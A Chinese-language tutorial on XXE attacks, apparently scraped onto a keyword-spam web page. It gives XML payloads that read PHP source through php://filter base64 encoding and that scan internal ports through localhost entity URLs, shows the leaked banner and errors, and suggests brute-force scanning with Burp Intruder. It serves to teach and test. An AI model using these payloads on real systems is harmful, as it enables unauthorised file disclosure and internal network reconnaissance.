当前位置: 首页 > wzjs >正文

厦门市网站建设游戏代理免费加盟

厦门市网站建设,游戏代理免费加盟,简易网站开发,邢台建设企业网站一.如何通过XXE漏洞读取php文件。 前面文章我们已经演示了通过file:///去读取文件&#xff0c;通过XXE漏洞php文件是读取不到的&#xff0c;我们 该如何读取php文件呢&#xff1f; 我们可以通过一下代码实现读取php文件。 <?xml version"1.0" encoding"utf…

一.如何通过XXE漏洞读取php文件。

        前面文章我们已经演示了通过file:///去读取文件,通过XXE漏洞php文件是读取不到的,我们

该如何读取php文件呢?

我们可以通过一下代码实现读取php文件。

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=xxe.php" >]>
<root>
<name>&xxe;</name>
</root>
我们得到了一串base64编码:
 PD9waHAKJHhtbD1maWxlX2dldF9jb250ZW50cygicGhwOi8vaW5wdXQiKTsKJGRhdGEgPSBzaW1wbGV4bWxfbG9hZF9zdHJpbmcoJHhtbCkgOwplY2hvICI8cHJlPiIgOwpwcmludF9yKCRkYXRhKSA7CmVjaG8gIjwvcHJlPiIgOwo/Pgo=

再对base64编码进行解码:

就可以查看到php文件了:

<?php
$xml=file_get_contents("php://input");
$data = simplexml_load_string($xml) ;
echo "<pre>" ;
print_r($data) ;
echo "</pre>" ;
?>

二.端口探测方式

类似于SSRF漏洞一样进行端口探测,实现起来也非常的简单,代码如下:

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "http://127.0.0.1:22" >]>
<root>
<name>&xxe;</name>
</root>

通过实体解析到内网网段22端口。

端口开放返回端口 banner 信息,端口关闭返回 Connection refused

我们看到是有回显的并且包含报错信息:

Warning: simplexml_load_string(http://127.0.0.1:22) [function.simplexml-load-string]: failed to open stream: HTTP request failed! SSH-2.0-OpenSSH_4.7p1 Debian-8ubuntu1 in /var/www/xxe.php on line 3

这条可以看到虽然报错failed to open stream: HTTP request failed! 但还是显示SSH-2.0-OpenSSH_4.7p1 Debian-8ubuntu1

Warning: simplexml_load_string() [function.simplexml-load-string]: I/O warning : failed to load external entity "http://127.0.0.1:22" in /var/www/xxe.php on line 3

这条报错暴露了文件位置以及是simplexml-load-string导致的错误。

可通过 burpsuite 或脚本实现批量探测

如此一来我们就可以探测到端口信息,并且可以使用bp进行暴力枚举:

通过intruder模块进行暴力枚举,设置0-443(实战你们可以直接65545).

然后我们可以通过回显长度进行判断端口存活情况:

以上就是我们的文件读取以及端口探测的方式。

总结:

1)通过php://filter协议以base64编码格式读取PHP文件内容,解码后可获取源代码;

2)结合SSRF技术进行端口探测,通过响应信息判断目标端口开放状态,并可结合BurpSuite批量探测。这两种方法分别实现了敏感文件读取和网络探测功能,其中端口探测会返回banner信息并可能暴露文件路径,通过响应长度差异可判断端口存活情况。

http://www.dtcms.com/wzjs/408033.html

相关文章:

  • 上海网站建设电商旅平台app下载
  • 长清网站建设价格培训机构招生7个方法
  • 个人网站上传有啥要求seo的优点和缺点
  • 外贸soho建站多少钱青柠影院免费观看电视剧高清
  • 武汉网站建设哪个好贵州快速整站优化
  • 茂名住房和城乡建设厅网站网站维护一般都是维护什么
  • wordpress门户源码重庆百度seo排名
  • 班级网站开发毕业论文参考文献今天的最新新闻内容
  • 企业网站管理系统排名360优化大师最新版
  • 公司手机网站建设价格发布软文的平台有哪些
  • 衢州高端网站建设免费seo教程资源
  • 网站开发工具.晴天娃娃推广平台哪个效果最好
  • 常州做网站优化seo入门书籍
  • 买网站自己做seo外链友情链接
  • 深圳有实力的网站建设服务商网站推广费用
  • 做装修行业营销型网站百度关键词优化企业
  • 服务器在香港的网站吗安卓手机优化软件排名
  • 网站开发实训基本要求扬州seo推广
  • saas是不是做网站软文营销怎么写
  • 重庆网站建设解决方案网站关键词优化培训
  • 中石油第六建设公司网站网页在线客服免费版
  • 什么网站做h5好做做网站
  • 做网站现在可以挣钱吗企业营销策划书范文
  • 网站建设单页2024年阳性什么症状
  • 如何做网站代码数据分析师需要学哪些课程
  • 佛山市平台购物网站制作公司网络营销和传统营销的关系
  • 购物网站建设情况汇报seo优化或网站编辑
  • 泉州推广优化公司长沙seo袁飞
  • 网站logo怎么做动态惠州网站seo
  • 江西赣州深圳网站优化平台